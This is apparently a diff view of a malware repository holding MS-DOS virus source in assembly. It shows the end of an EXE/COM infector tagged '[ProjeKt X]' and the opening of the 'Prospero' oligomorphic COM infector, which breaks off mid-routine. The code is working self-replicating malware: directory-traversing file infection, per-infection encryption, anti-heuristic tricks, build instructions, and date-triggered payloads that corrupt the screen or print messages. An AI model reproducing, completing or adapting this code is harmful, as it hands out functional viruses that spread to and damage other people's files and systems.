lea si,[bp+jmpsave2]
|
||||
lea di,[bp+jmpsave]
|
||||
movsw
|
||||
movsw
|
||||
movsw
|
||||
restoreEXIT:
|
||||
movsw
|
||||
|
||||
mov byte ptr [bp+numinfec],3 ; reset infection counter
|
||||
|
||||
mov ah,1Ah ; Set new DTA
|
||||
lea dx,[bp+newDTA] ; new DTA @ DS:DX
|
||||
int 21h
|
||||
|
||||
mov ah,47h ; Get current directory
|
||||
mov dl,0 ; Current drive
|
||||
lea si,[bp+origdir] ; DS:SI->buffer
|
||||
int 21h
|
||||
mov byte ptr [bp+backslash],'\' ; Prepare for later CHDIR
|
||||
|
||||
mov ax,3524h ; Get int 24 handler
|
||||
int 21h ; to ES:BX
|
||||
mov word ptr [bp+oldint24],bx; Save it
|
||||
mov word ptr [bp+oldint24+2],es
|
||||
mov ah,25h ; Set new int 24 handler
|
||||
lea dx,[bp+offset int24] ; DS:DX->new handler
|
||||
int 21h
|
||||
push cs ; Restore ES
|
||||
pop es ; 'cuz it was changed
|
||||
|
||||
dir_scan: ; "dot dot" traversal
|
||||
lea dx,[bp+exe_mask]
|
||||
call infect_mask
|
||||
lea dx,[bp+com_mask]
|
||||
call infect_mask
|
||||
mov ah,3bh ; change directory
|
||||
lea dx,[bp+dot_dot] ; "cd .."
|
||||
int 21h
|
||||
jnc dir_scan ; go back for mo!
|
||||
|
||||
done_infections:
|
||||
call get_second
|
||||
cmp ax,0032h ; Did the function return 50?
|
||||
jl skip00 ; If less, skip effect
|
||||
jmp short activate_one ; Success -- skip jump
|
||||
|
||||
skip00:
|
||||
call get_hour
|
||||
cmp ax,0017h ; Did the function return 23?
|
||||
jne skip01 ; If not equal, skip effect
|
||||
call get_weekday
|
||||
cmp ax,0003h ; Did the function return 3?
|
||||
jne skip01 ; If not equal, skip effect
|
||||
jmp activate_two ; Success -- skip jump
|
||||
|
||||
skip01: jmp exit_virus
|
||||
|
||||
exit_virus:
|
||||
mov ax,2524h ; Restore int 24 handler
|
||||
lds dx,[bp+offset oldint24] ; to original
|
||||
int 21h
|
||||
push cs
|
||||
pop ds
|
||||
|
||||
mov ah,3bh ; change directory
|
||||
lea dx,[bp+origdir-1] ; original directory
|
||||
int 21h
|
||||
|
||||
mov ah,1ah ; restore DTA to default
|
||||
mov dx,80h ; DTA in PSP
|
||||
cmp sp,id-4 ; EXE or COM?
|
||||
jz returnEXE
|
||||
returnCOM:
|
||||
int 21h
|
||||
retn ; 100h is on stack
|
||||
returnEXE:
|
||||
pop es
|
||||
pop ds
|
||||
int 21h
|
||||
mov ax,es ; AX = PSP segment
|
||||
add ax,10h ; Adjust for PSP
|
||||
add word ptr cs:[bp+jmpsave+2],ax
|
||||
add ax,word ptr cs:[bp+stacksave+2]
|
||||
cli ; Clear intrpts for stack manipulation
|
||||
mov sp,word ptr cs:[bp+stacksave]
|
||||
mov ss,ax
|
||||
sti
|
||||
db 0eah ; jmp ssss:oooo
|
||||
jmpsave dd ? ; Original CS:IP
|
||||
stacksave dd ? ; Original SS:SP
|
||||
jmpsave2 db ? ; Actually four bytes
|
||||
save3 db 0cdh,20h,0 ; First 3 bytes of COM file
|
||||
stacksave2 dd ?
|
||||
|
||||
activate_one: ; Conditions satisfied
|
||||
mov cx,0003h ; First argument is 3
|
||||
new_shot: push cx ; Save the current count
|
||||
mov dx,0140h ; DX holds pitch
|
||||
mov bx,0100h ; BX holds shot duration
|
||||
in al,061h ; Read the speaker port
|
||||
and al,11111100b ; Turn off the speaker bit
|
||||
fire_shot: xor al,2 ; Toggle the speaker bit
|
||||
out 061h,al ; Write AL to speaker port
|
||||
add dx,09248h ;
|
||||
mov cl,3 ;
|
||||
ror dx,cl ; Figure out the delay time
|
||||
mov cx,dx ;
|
||||
and cx,01FFh ;
|
||||
or cx,10 ;
|
||||
shoot_pause: loop shoot_pause ; Delay a bit
|
||||
dec bx ; Are we done with the shot?
|
||||
jnz fire_shot ; If not, pulse the speaker
|
||||
and al,11111100b ; Turn off the speaker bit
|
||||
out 061h,al ; Write AL to speaker port
|
||||
mov bx,0002h ; BX holds delay time (ticks)
|
||||
xor ah,ah ; Get time function
|
||||
int 1Ah ; BIOS timer interrupt
|
||||
add bx,dx ; Add current time to delay
|
||||
shoot_delay: int 1Ah ; Get the time again
|
||||
cmp dx,bx ; Are we done yet?
|
||||
jne shoot_delay ; If not, keep checking
|
||||
pop cx ; Restore the count
|
||||
loop new_shot ; Do another shot
|
||||
jmp go_now
|
||||
|
||||
go_now:
|
||||
mov ax,0003h ; stick 3 into ax.
|
||||
int 10h ; Set up 80*25, text mode. Clear the
|
||||
; screen, too.
|
||||
mov ax,1112h ; We are gunna use the 8*8 internal
|
||||
; font, man.
|
||||
int 10h ; Hey man, call the interrupt.
|
||||
mov ah,09h ; Use DOS to print fake error
|
||||
; message
|
||||
mov dx,offset fake_msg
|
||||
int 21h
|
||||
mov ah,4ch ; Lets ditch.
|
||||
int 21h ; "Make it so."
|
||||
jmp exit_virus
|
||||
|
||||
activate_two: ; First, get current video mode and page.
|
||||
mov cx,0B800h ;color display, color video mem for page 1
|
||||
mov ah,15 ;Get current video mode
|
||||
int 10h
|
||||
cmp al,2 ;Color?
|
||||
je A2 ;Yes
|
||||
cmp al,3 ;Color?
|
||||
je A2 ;Yes
|
||||
cmp al,7 ;Mono?
|
||||
je A1 ;Yes
|
||||
int 20h ;No,quit
|
||||
|
||||
;here if 80 col text mode; put video segment in ds.
|
||||
A1: mov cx,0A300h ;Set for mono; mono videomem for page 1
|
||||
A2: mov bl,0 ;bx=page offset
|
||||
add cx,bx ;Video segment
|
||||
mov ds,cx ;in ds
|
||||
|
||||
;start dropsy effect
|
||||
xor bx,bx ;Start at top left corner
|
||||
A3: push bx ;Save row start on stack
|
||||
mov bp,80 ;Reset column counter
|
||||
;Do next column in a row.
|
||||
A4: mov si,bx ;Set row top in si
|
||||
mov ax,[si] ;Get char & attr from screen
|
||||
cmp al,20h ;Is it a blank?
|
||||
je A7 ;Yes, skip it
|
||||
mov dx,ax ;No, save it in dx
|
||||
mov al,20h ;Make it a space
|
||||
mov [si],ax ;and put on screen
|
||||
add si,160 ;Set for next row
|
||||
mov di,cs:Row ;Get rows remaining
|
||||
A5: mov ax,[si] ;Get the char & attr from screen
|
||||
mov [si],dx ;Put top row char & attr there
|
||||
A6: call Vert ;Wait for 2 vert retraces
|
||||
mov [si],ax ;Put original char & attr back
|
||||
;Do next row, this column.
|
||||
add si,160 ;Next row
|
||||
dec di ;Done all rows remaining?
|
||||
jne A5 ;No, do next one
|
||||
mov [si-160],dx ;Put char & attr on line 25 as junk
|
||||
;Do next column on this row.
|
||||
A7: add bx,2 ;Next column, same row
|
||||
dec bp ;Dec column counter; done?
|
||||
jne A4 ;No, do this column
|
||||
;Do next row.
|
||||
A8: pop bx ;Get current row start
|
||||
add bx,160 ;Next row
|
||||
dec cs:Row ;All rows done?
|
||||
jne A3 ;No
|
||||
A9: mov ax,4C00h
|
||||
int 21h ;Yes, quit to DOS with error code
|
||||
|
||||
;routine to deal with snow on CGA screen.
|
||||
Vert: push ax
|
||||
push dx
|
||||
push cx ;Save all registers used
|
||||
mov cl,2 ;Wait for 2 vert retraces
|
||||
mov dx,3DAh ;CRT status port
|
||||
F1: in al,dx ;Read status
|
||||
test al,8 ;Vert retrace went hi?
|
||||
je F1 ;No, wait for it
|
||||
dec cl ;2nd one?
|
||||
je F3 ;Yes, write during blanking time
|
||||
F2: in al,dx ;No, get status
|
||||
test al,8 ;Vert retrace went low?
|
||||
jne F2 ;No, wait for it
|
||||
jmp F1 ;Yes, wait for next hi
|
||||
F3: pop cx
|
||||
pop dx
|
||||
pop ax ;Restore registers
|
||||
ret
|
||||
jmp exit_virus
|
||||
|
||||
get_weekday proc near
|
||||
mov ah,02Ah ; DOS get date function
|
||||
int 021h
|
||||
cbw ; Sign-extend AL into AX
|
||||
ret ; Return to caller
|
||||
get_weekday endp
|
||||
|
||||
get_day proc near
|
||||
mov ah,02Ah ; DOS get date function
|
||||
int 021h
|
||||
mov al,dl ; Copy day into AL
|
||||
cbw ; Sign-extend AL into AX
|
||||
ret ; Return to caller
|
||||
get_day endp
|
||||
|
||||
get_hour proc near
|
||||
mov ah,02Ch ; DOS get time function
|
||||
int 021h
|
||||
mov al,ch ; Copy hour into AL
|
||||
cbw ; Sign-extend AL into AX
|
||||
ret ; Return to caller
|
||||
get_hour endp
|
||||
|
||||
get_minute proc near
|
||||
mov ah,02Ch ; DOS get time function
|
||||
int 021h
|
||||
mov al,cl ; Copy minute into AL
|
||||
cbw ; Sign-extend AL into AX
|
||||
ret ; Return to caller
|
||||
get_minute endp
|
||||
|
||||
get_second proc near
|
||||
mov ah,02Ch ; DOS get time function
|
||||
int 021h
|
||||
mov al,dh ; Copy second into AL
|
||||
cbw ; Sign-extend AL into AX
|
||||
ret ; Return to caller
|
||||
get_second endp
|
||||
|
||||
note db '[ProjeKt X]',0
|
||||
|
||||
infect_mask:
|
||||
mov ah,4eh ; find first file
|
||||
mov cx,7 ; any attribute
|
||||
findfirstnext:
|
||||
int 21h ; DS:DX points to mask
|
||||
jc exit_infect_mask ; No mo files found
|
||||
|
||||
mov al,0h ; Open read only
|
||||
call open
|
||||
|
||||
mov ah,3fh ; Read file to buffer
|
||||
lea dx,[bp+buffer] ; @ DS:DX
|
||||
mov cx,1Ah ; 1Ah bytes
|
||||
int 21h
|
||||
|
||||
mov ah,3eh ; Close file
|
||||
int 21h
|
||||
|
||||
cmp word ptr [bp+buffer],'ZM'; EXE?
|
||||
jz checkEXE ; Why yes, yes it is!
|
||||
checkCOM:
|
||||
mov ax,word ptr [bp+newDTA+1Ah] ; Filesize in DTA
|
||||
cmp ax,3230 ; Is it too small?
|
||||
jb find_next
|
||||
|
||||
cmp ax,65535-(endheap-decrypt) ; Is it too large?
|
||||
ja find_next
|
||||
|
||||
mov bx,word ptr [bp+buffer+1]; get jmp location
|
||||
add bx,heap-decrypt+3 ; Adjust for virus size
|
||||
cmp ax,bx
|
||||
je find_next ; already infected
|
||||
jmp infect_com
|
||||
checkEXE: cmp word ptr [bp+buffer+10h],id ; is it already infected?
|
||||
jnz infect_exe
|
||||
find_next:
|
||||
mov ah,4fh ; find next file
|
||||
jmp short findfirstnext
|
||||
exit_infect_mask: ret
|
||||
|
||||
infect_exe:
|
||||
les ax, dword ptr [bp+buffer+14h] ; Save old entry point
|
||||
mov word ptr [bp+jmpsave2], ax
|
||||
mov word ptr [bp+jmpsave2+2], es
|
||||
|
||||
les ax, dword ptr [bp+buffer+0Eh] ; Save old stack
|
||||
mov word ptr [bp+stacksave2], es
|
||||
mov word ptr [bp+stacksave2+2], ax
|
||||
|
||||
mov ax, word ptr [bp+buffer + 8] ; Get header size
|
||||
mov cl, 4 ; convert to bytes
|
||||
shl ax, cl
|
||||
xchg ax, bx
|
||||
|
||||
les ax, [bp+offset newDTA+26]; Get file size
|
||||
mov dx, es ; to DX:AX
|
||||
push ax
|
||||
push dx
|
||||
|
||||
sub ax, bx ; Subtract header size from
|
||||
sbb dx, 0 ; file size
|
||||
|
||||
mov cx, 10h ; Convert to segment:offset
|
||||
div cx ; form
|
||||
|
||||
mov word ptr [bp+buffer+14h], dx ; New entry point
|
||||
mov word ptr [bp+buffer+16h], ax
|
||||
|
||||
mov word ptr [bp+buffer+0Eh], ax ; and stack
|
||||
mov word ptr [bp+buffer+10h], id
|
||||
|
||||
pop dx ; get file length
|
||||
pop ax
|
||||
|
||||
add ax, heap-decrypt ; add virus size
|
||||
adc dx, 0
|
||||
|
||||
mov cl, 9
|
||||
push ax
|
||||
shr ax, cl
|
||||
ror dx, cl
|
||||
stc
|
||||
adc dx, ax
|
||||
pop ax
|
||||
and ah, 1 ; mod 512
|
||||
|
||||
mov word ptr [bp+buffer+4], dx ; new file size
|
||||
mov word ptr [bp+buffer+2], ax
|
||||
|
||||
push cs ; restore ES
|
||||
pop es
|
||||
|
||||
push word ptr [bp+buffer+14h] ; needed later
|
||||
mov cx, 1ah
|
||||
jmp short finishinfection
|
||||
infect_com: ; ax = filesize
|
||||
mov cx,3
|
||||
sub ax,cx
|
||||
lea si,[bp+offset buffer]
|
||||
lea di,[bp+offset save3]
|
||||
movsw
|
||||
movsb
|
||||
mov byte ptr [si-3],0e9h
|
||||
mov word ptr [si-2],ax
|
||||
add ax,103h
|
||||
push ax ; needed later
|
||||
finishinfection:
|
||||
push cx ; Save # bytes to write
|
||||
xor cx,cx ; Clear attributes
|
||||
call attributes ; Set file attributes
|
||||
|
||||
mov al,2
|
||||
call open
|
||||
|
||||
mov ah,40h ; Write to file
|
||||
lea dx,[bp+buffer] ; Write from buffer
|
||||
pop cx ; cx bytes
|
||||
int 21h
|
||||
|
||||
mov ax,4202h ; Move file pointer
|
||||
xor cx,cx ; to end of file
|
||||
cwd ; xor dx,dx
|
||||
int 21h
|
||||
|
||||
get_encrypt_value:
|
||||
mov ah,2ch ; Get current time
|
||||
int 21h ; dh=sec,dl=1/100 sec
|
||||
or dx,dx ; Check if encryption value = 0
|
||||
jz get_encrypt_value ; Get another if it is
|
||||
mov [bp+decrypt_value],dx ; Set new encryption value
|
||||
lea di,[bp+code_store]
|
||||
mov ax,5355h ; push bp,push bx
|
||||
stosw
|
||||
lea si,[bp+decrypt] ; Copy encryption function
|
||||
mov cx,startencrypt-decrypt ; Bytes to move
|
||||
push si ; Save for later use
|
||||
push cx
|
||||
rep movsb
|
||||
|
||||
lea si,[bp+write] ; Copy writing function
|
||||
mov cx,endwrite-write ; Bytes to move
|
||||
rep movsb
|
||||
pop cx
|
||||
pop si
|
||||
pop dx ; Entry point of virus
|
||||
push di
|
||||
push si
|
||||
push cx
|
||||
rep movsb ; Copy decryption function
|
||||
mov ax,5b5dh ; pop bx,pop bp
|
||||
stosw
|
||||
mov al,0c3h ; retn
|
||||
stosb
|
||||
|
||||
add dx,offset startencrypt - offset decrypt ; Calculate new
|
||||
mov word ptr [bp+patch_startencrypt+1],dx ; starting offset of
|
||||
call code_store ; decryption
|
||||
pop cx
|
||||
pop di
|
||||
pop si
|
||||
rep movsb ; Restore decryption function
|
||||
|
||||
mov ax,5701h ; Restore creation date/time
|
||||
mov cx,word ptr [bp+newDTA+16h] ; time
|
||||
mov dx,word ptr [bp+newDTA+18h] ; date
|
||||
int 21h
|
||||
|
||||
mov ah,3eh ; Close file
|
||||
int 21h
|
||||
|
||||
mov ch,0
|
||||
mov cl,byte ptr [bp+newDTA+15h] ; Restore original
|
||||
call attributes ; attributes
|
||||
|
||||
dec byte ptr [bp+numinfec] ; One mo infection
|
||||
jnz mo_infections ; Not enough
|
||||
pop ax ; remove call from stack
|
||||
jmp done_infections
|
||||
mo_infections: jmp find_next
|
||||
|
||||
open:
|
||||
mov ah,3dh
|
||||
lea dx,[bp+newDTA+30] ; filename in DTA
|
||||
int 21h
|
||||
xchg ax,bx
|
||||
ret
|
||||
|
||||
attributes:
|
||||
mov ax,4301h ; Set attributes to cx
|
||||
lea dx,[bp+newDTA+30] ; filename in DTA
|
||||
int 21h
|
||||
ret
|
||||
|
||||
write:
|
||||
pop bx ; Restore file handle
|
||||
pop bp ; Restore relativeness
|
||||
mov ah,40h ; Write to file
|
||||
lea dx,[bp+decrypt] ; Concatenate virus
|
||||
mov cx,heap-decrypt ; # bytes to write
|
||||
int 21h
|
||||
push bx
|
||||
push bp
|
||||
endwrite:
|
||||
|
||||
int24: ; New int 24h (error) handler
|
||||
mov al,3 ; Fail call
|
||||
iret ; Return control
|
||||
|
||||
exe_mask db '*.exe',0
|
||||
com_mask db '*.com',0
|
||||
dot_dot db '..',0
|
||||
heap: ; Variables not in code
|
||||
; The following code is the buffer for the write function
|
||||
code_store: db (startencrypt-decrypt)*2+(endwrite-write)+1 dup (?)
|
||||
oldint24 dd ? ; Storage for old int 24h handler
|
||||
backslash db ?
|
||||
fake_msg db "If YOU can be a half-wit, so can I!!$"
|
||||
Row dw 24
|
||||
origdir db 64 dup (?) ; Current directory buffer
|
||||
newDTA db 43 dup (?) ; Temporary DTA
|
||||
numinfec db ? ; Infections this run
|
||||
buffer db 1ah dup (?) ; read buffer
|
||||
endheap: ; End of virus
|
||||
end entry_point
|
761
MSDOS/Virus.MSDOS.Unknown.prospero.asm
Normal file
761
MSDOS/Virus.MSDOS.Unknown.prospero.asm
Normal file
@ -0,0 +1,761 @@
|
||||
;%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
|
||||
;-------------------------------------------------------------------------
|
||||
; Prospero Virus
|
||||
;
|
||||
; (C) Opic [Codebreakers 1998]
|
||||
;-------------------------------------------------------------------------
|
||||
;%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
|
||||
|
||||
;IMPORTANT NOTES:
|
||||
|
||||
;compiled with TASM 4.1 and TLINK 7.1
|
||||
|
||||
;to compile: TASM prospero.asm
|
||||
; TLINK /t prospero.obj
|
||||
;Rename Prospero.com Prospero.exe (this is to avoid prospero infecting
|
||||
;itself first generation only
|
||||
|
||||
;Type: appending .com infector
|
||||
|
||||
;virus size: 1st Gen 1723 bytes
|
||||
;infected files grow 1712 bytes
|
||||
|
||||
;searches *.c* then comfirms *.COM
|
||||
|
||||
;does NOT infect command.com
|
||||
|
||||
;nor files bigger the 63824 bytes
|
||||
|
||||
;Encryption: 5 types (XOR, NEG, ROR, ROL,and NOT)---|
|
||||
; used in combination for 7 algorithms <---------|
|
||||
|
||||
;Polymorphic: Yes (well Oligomorphic if you wanna get picky), there is a
|
||||
;stock of 7 different 3op encryption algorithms and delta offsets rutines
|
||||
;from which the virus chooses (a different type of encryption and delta
|
||||
;offset is choosen every day of the week). the rest are safely
|
||||
;encrypted inside the virus body.
|
||||
|
||||
;antiheuristics: yes.
|
||||
|
||||
;Directory Transversal: DotDot method
|
||||
|
||||
;restores infected file time/date stamps
|
||||
|
||||
;restores infected file DTA
|
||||
|
||||
;Rate of infection:no more then 7 per run
|
||||
|
||||
;restores infected file attributes
|
||||
|
||||
;payload criteria:The virus will manifest a payload on
|
||||
;the 1st day of the month if the minutes are above 30.
|
||||
|
||||
;payload:a large graphical color text effect as well as a message
|
||||
;is delivered from through printer:
|
||||
|
||||
;************************PROSPERO!**************************
|
||||
;There is a path to the trancendece of the dollar: Embark
|
||||
;rich beggars! Does magic bring prosperos to his knees?
|
||||
;Reading pretty twilight, making grass uncertain?
|
||||
;Oh,all that christmas snow shouldered by one birthday suit!
|
||||
;The fate of the world under his armpit like a thermometer?
|
||||
;Rejoice Villains! Your time has come.
|
||||
;**************(C) Opic [CodeBreakers,98]*******************
|
||||
|
||||
;EXTRA SPECIAL GREETS AND THANX GO OUT TO:
|
||||
;DARX_KIES, OWL[FS], DARKMAN, MIKEE, ALL the CodeBreakers and the countless
|
||||
;others that have helped me learn and progress.
|
||||
;
|
||||
;OTHER: it has been awhile since I have looked at this virus, but it has come
|
||||
;to my attention that it may have a bug in the directory transversal rutine,
|
||||
;im not particularly interested in working on this virus any further, but
|
||||
;felt it should be noted for the record (suprisingly it made it to the
|
||||
;supplimentals on "the wild list").
|
||||
;------------------------------------------------------------------------
|
||||
.286
|
||||
prospero Segment
|
||||
Assume CS:prospero, DS:prospero, ES:prospero
|
||||
Org 100H
|
||||
jumps
|
||||
|
||||
start:
|
||||
mov cx,0ffffh ;loop to kill heuristic scanners
|
||||
|
||||
no_av1:
|
||||
jmp no_av2
|
||||
mov ax,4c00h
|
||||
int 21h
|
||||
|
||||
no_av2:
|
||||
loop no_av1
|
||||
call delta ;call delta
|
||||
|
||||
delta: ;duh!
|
||||
pop bp ;pop bp
|
||||
sub bp,offset delta ;fer the distanc
|
||||
Nop ;You need those two nops.
|
||||
Nop ;
|
||||
;!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
|
||||
;----------setup-----------------
|
||||
lea si,[bp+c_start] ;
|
||||
mov di,si ;
|
||||
mov cx,virus_end - c_start ;
|
||||
call encrypt ;
|
||||
jmp c_start ;
|
||||
|
||||
value db 0 ;decrypt value
|
||||
|
||||
stop: ;label for later
|
||||
|
||||
;---------to be polyed------------
|
||||
|
||||
encrypt: ;padding
|
||||
DB 20 Dup(90H)
|
||||
ret ;=21 for crypt
|
||||
;--------start of crypt body-------
|
||||
c_start: ;part to crypt
|
||||
|
||||
;------clear infection counter----
|
||||
mov byte ptr [bp+counter],0
|
||||
|
||||
mov cx,3 ;get first 3
|
||||
mov di,100h ;restore em!
|
||||
lea si,[bp+buff]
|
||||
rep movsb
|
||||
|
||||
;--------save DTA------------------
|
||||
lea di,[bp+NewDTA]
|
||||
mov si,80h ;DTA to save
|
||||
mov cx,2Ah ;length of DTA 2ah
|
||||
rep movsb ;save it
|
||||
|
||||
;-----------first------------------
|
||||
find_first: ;find first
|
||||
mov ah,4eh ;file
|
||||
|
||||
find_next: ;we need this lata
|
||||
lea dx,[bp+filemask] ;what we is lookin fer
|
||||
int 21h ;now!
|
||||
jnc verify ;find one? infect
|
||||
|
||||
;----------------DT--------------------------
|
||||
dotdot:
|
||||
lea dx,[bp+dot] ;get dot from dataseg
|
||||
mov ah,3Bh ;cd
|
||||
int 21h ;go!
|
||||
jnc find_first ;find first in new dir
|
||||
|
||||
|
||||
;------------payload check--------------------
|
||||
check_payload: ;payload check
|
||||
mov ah,2ah ;system date
|
||||
int 21h ;now!
|
||||
cmp dl,1 ;is it the first?
|
||||
je n_check ;yes? second check
|
||||
jmp close
|
||||
n_check:
|
||||
mov ah,2Ch ;internal clock
|
||||
cmp cl,30d ;minutes 30 or above?
|
||||
jae payload ;yes? lets do it!
|
||||
jmp close ;no? lets chill
|
||||
|
||||
;---------graphic payload-------------------------
|
||||
payload:
|
||||
|
||||
mov ax,13 ;set mode 13h
|
||||
int 10h ;call bios
|
||||
mov dx,030ah;dh/dl are the line/column coordinates
|
||||
xor bh,bh ;on page 0
|
||||
mov ah,02h ;02h=move cursor to
|
||||
int 10h ;go
|
||||
push cs ;
|
||||
pop ds ;
|
||||
lea si,[bp+ offset message1];1st message
|
||||
mov cx,14 ;length
|
||||
|
||||
show: ;shows the message
|
||||
lodsb ;keep goin
|
||||
mov bl,2 ;color
|
||||
mov ah,0eh ;write one letter
|
||||
int 10h ;
|
||||
loop show ;till we do em all
|
||||
add dx,507 ;get ready fer #2
|
||||
mov ah,02h ;put cursor
|
||||
int 10h ;
|
||||
lea si,[bp+ offset message2];mess2
|
||||
mov cx,27 ;length
|
||||
|
||||
show2: ;
|
||||
lodsb ;
|
||||
mov bl,30 ;color
|
||||
mov ah,0eh ;
|
||||
int 10h ;
|
||||
loop show2 ;
|
||||
|
||||
mov ah,01h ;begin of printer sect of payload
|
||||
mov dx,0h
|
||||
int 17h ;int for initializing printer
|
||||
lea si,string1
|
||||
mov cx,EndStr1-String1
|
||||
|
||||
PrintStr:
|
||||
mov ah,00h
|
||||
lodsb
|
||||
int 17h
|
||||
loop PrintStr
|
||||
|
||||
mov ax,4c00h;exit
|
||||
int 21h ;dos
|
||||
|
||||
|
||||
;---------ret to host-------------
|
||||
close: ;exit stage left
|
||||
|
||||
;---------restore DTA------------------------
|
||||
lea si,[bp+NewDTA] ;saved DTA
|
||||
mov di,80h ;area it was
|
||||
mov cx,2Ah ;length
|
||||
rep movsb ;write it
|
||||
|
||||
push 100h ;start o file
|
||||
ret ;dar!
|
||||
|
||||
;-------start .com checks--------
|
||||
verify:
|
||||
mov cx,13d ;max size of file name
|
||||
mov si,9eh ; !!!!
|
||||
|
||||
;---------*.com and not command--------
|
||||
compare:
|
||||
lodsb ;find the point!
|
||||
cmp al,"." ;is it?
|
||||
jne compare ;no? try again
|
||||
inc si ;yes? next letter
|
||||
cmp word ptr [si], "MO" ;does it spell .COM?
|
||||
je check_for_command_com ;no find next!
|
||||
jmp close_file
|
||||
check_for_command_com:
|
||||
cmp word ptr [bp+9eh+2], "MM" ;is it command.com?
|
||||
je close_file ;yes? next!
|
||||
|
||||
;-------------save attribs-----------------
|
||||
infect: ;duh!
|
||||
Mov si,95h ; !!!! get dta
|
||||
mov cx,09h ;mov it to cx
|
||||
lea di,[bp+attribs] ;save em
|
||||
rep movsb ;move em
|
||||
|
||||
;-------------clear atrribs----------------
|
||||
Mov dx,9Eh ;filename in DTA
|
||||
mov ax,4301h ;so we can infect
|
||||
xor cx,cx ;all .coms
|
||||
int 21h ;
|
||||
|
||||
mov ax,3d02h ;open file fer read/write
|
||||
mov dx,9eh ;get info
|
||||
int 21h ;go!
|
||||
xchg bx,ax ;put ax in bx
|
||||
|
||||
;---------------time/date-----------------------
|
||||
mov ax,5700h ;get time/date stamp
|
||||
int 21h ;save em----|
|
||||
push dx ; <-------|
|
||||
push cx ; <-------|
|
||||
|
||||
;--------------rand xor value--------------------
|
||||
in al,40h ;new crypt value
|
||||
mov byte ptr [bp+value],al ;put it place
|
||||
|
||||
;--------------first 3-----------------------------
|
||||
mov ah,3fh ;read 3 bytes from the file.. too
|
||||
;
|
||||
mov cx,5 ;be replaced with a jump to the virus
|
||||
lea dx,[bp+buff] ;load buffer in dx
|
||||
int 21h ;go!
|
||||
|
||||
;------------size check---------------------
|
||||
mov di,9Ah
|
||||
cmp word ptr [di],63824 ;size check! no bigger then 63824 bytes
|
||||
jae close_file ;
|
||||
|
||||
;-----------prev infected?----------------------
|
||||
infect_check:
|
||||
pusha ; i saved registers since i did not take the time
|
||||
; to check which registers must be saved
|
||||
|
||||
mov ax,4200h ; set r/w pointer to start of file +1
|
||||
xor cx,cx
|
||||
mov dx,1
|
||||
int 21h
|
||||
|
||||
mov ah,3fh ; read the jump displacement
|
||||
mov cx,2
|
||||
lea dx,opbuf+bp
|
||||
int 21h
|
||||
|
||||
mov ax,opbuf+bp
|
||||
add ax,3 ; add 3 to jump displacement to get offset
|
||||
; of marker ':('
|
||||
|
||||
mov dx,ax
|
||||
mov cx,0
|
||||
mov ax,4200h ; set pointer to marker offset
|
||||
int 21h
|
||||
|
||||
mov ah,3fh ; read 2 bytes again
|
||||
mov cx,2
|
||||
lea dx,opbuf+bp
|
||||
int 21h
|
||||
|
||||
popa ; registers popped here
|
||||
|
||||
cmp opbuf+bp,'(:' ; check for marker
|
||||
je close_file ; marker found? close file
|
||||
jmp short over_opbuf ; otherwise proceed
|
||||
|
||||
|
||||
over_opbuf:
|
||||
|
||||
|
||||
; mov si,9ah ;
|
||||
; mov ax,word ptr [si] ;infected?
|
||||
; sub ax,virus_end - start + 3 ;check it?
|
||||
; cmp ax,word ptr[bp+buff+1] ;compare..
|
||||
; je close_file ;already infected? outta here!
|
||||
|
||||
;----------infect already-------------------
|
||||
mov si,9ah
|
||||
mov ax,word ptr[si]
|
||||
sub ax,3
|
||||
mov word ptr[bp+three+1],ax
|
||||
|
||||
mov ax,4200h ;start of file
|
||||
xor cx,cx ;clear
|
||||
xor dx,dx ;cx and dx
|
||||
int 21h ;now!
|
||||
|
||||
;------------write jump----------------------
|
||||
mov ah,40h ;write the 3 byte jump
|
||||
lea dx,[bp+three] ;load em
|
||||
mov cx,3 ;move em
|
||||
int 21h ;now!
|
||||
jmp next
|
||||
|
||||
close_file: ;
|
||||
jmp restc ;
|
||||
|
||||
;---------write cryptor------------------------------
|
||||
next: ;
|
||||
mov ax,4202h ;end of file
|
||||
xor cx,cx ;clear
|
||||
xor dx,dx ;em
|
||||
int 21h ;now!
|
||||
|
||||
;---------POLY: cryptor-------------------------------
|
||||
;pick random cryptor from stock of 7
|
||||
poly: ;determine 2nd part of cryptor
|
||||
mov ah,2ah ;get day of week
|
||||
int 21h ;now
|
||||
|
||||
;------find which cryptor to write to infection-----------
|
||||
or al,al ;is it.....sunday
|
||||
jz d0 ;
|
||||
cmp al,001h ;mon
|
||||
je d1 ;
|
||||
cmp al,002h ;tue
|
||||
je d2 ;
|
||||
cmp al,003h ;wed
|
||||
jne td4 ;
|
||||
Jmp d3
|
||||
td4:
|
||||
cmp al,004h ;thur
|
||||
jne td5 ;
|
||||
Jmp d4
|
||||
td5:
|
||||
cmp al,005h ;fri
|
||||
jne td6 ;
|
||||
Jmp d5
|
||||
td6:
|
||||
Jmp d6
|
||||
|
||||
;-------load the cryptor we need--------------------
|
||||
d0: ;pick and write Zero cryptor
|
||||
mov al,[bp+value]
|
||||
mov [bp+value0],al
|
||||
mov ah,40h
|
||||
lea dx,[bp+del] ;
|
||||
mov cx,del1 - del ;
|
||||
int 21h ;
|
||||
lea si,[bp+c_start] ;
|
||||
lea di,[bp+virus_end] ;load
|
||||
mov cx,virus_end - c_start ;move
|
||||
call crypt
|
||||
jmp write
|
||||
d1: ;pick and write 1st cryptor
|
||||
mov al,[bp+value]
|
||||
mov [bp+value1],al
|
||||
mov ah,40h
|
||||
lea dx,[bp+del1] ;
|
||||
mov cx,del2 - del1 ;
|
||||
int 21h ;
|
||||
lea si,[bp+c_start] ;
|
||||
lea di,[bp+virus_end] ;load
|
||||
mov cx,virus_end - c_start ;move
|
||||
call crypt1
|
||||
jmp write
|
||||
d2: ;pick and write 2nd cryptor
|
||||
mov al,[bp+value]
|
||||
mov [bp+value2],al
|
||||
mov ah,40h
|
||||
lea dx,[bp+del2] ;
|
||||
mov cx,del3 - del2 ;
|
||||
int 21h ;
|
||||
lea si,[bp+c_start] ;
|
||||
lea di,[bp+virus_end] ;load
|
||||
mov cx,virus_end - c_start ;move
|
||||
call crypt2
|
||||
jmp write
|
||||
d3: ;pick and write 3rd cryptor
|
||||
mov al,[bp+value]
|
||||
mov [bp+value3],al
|
||||
mov ah,40h
|
||||
lea dx,[bp+del3] ;
|
||||
mov cx,del4 - del3 ;
|
||||
int 21h ;
|
||||
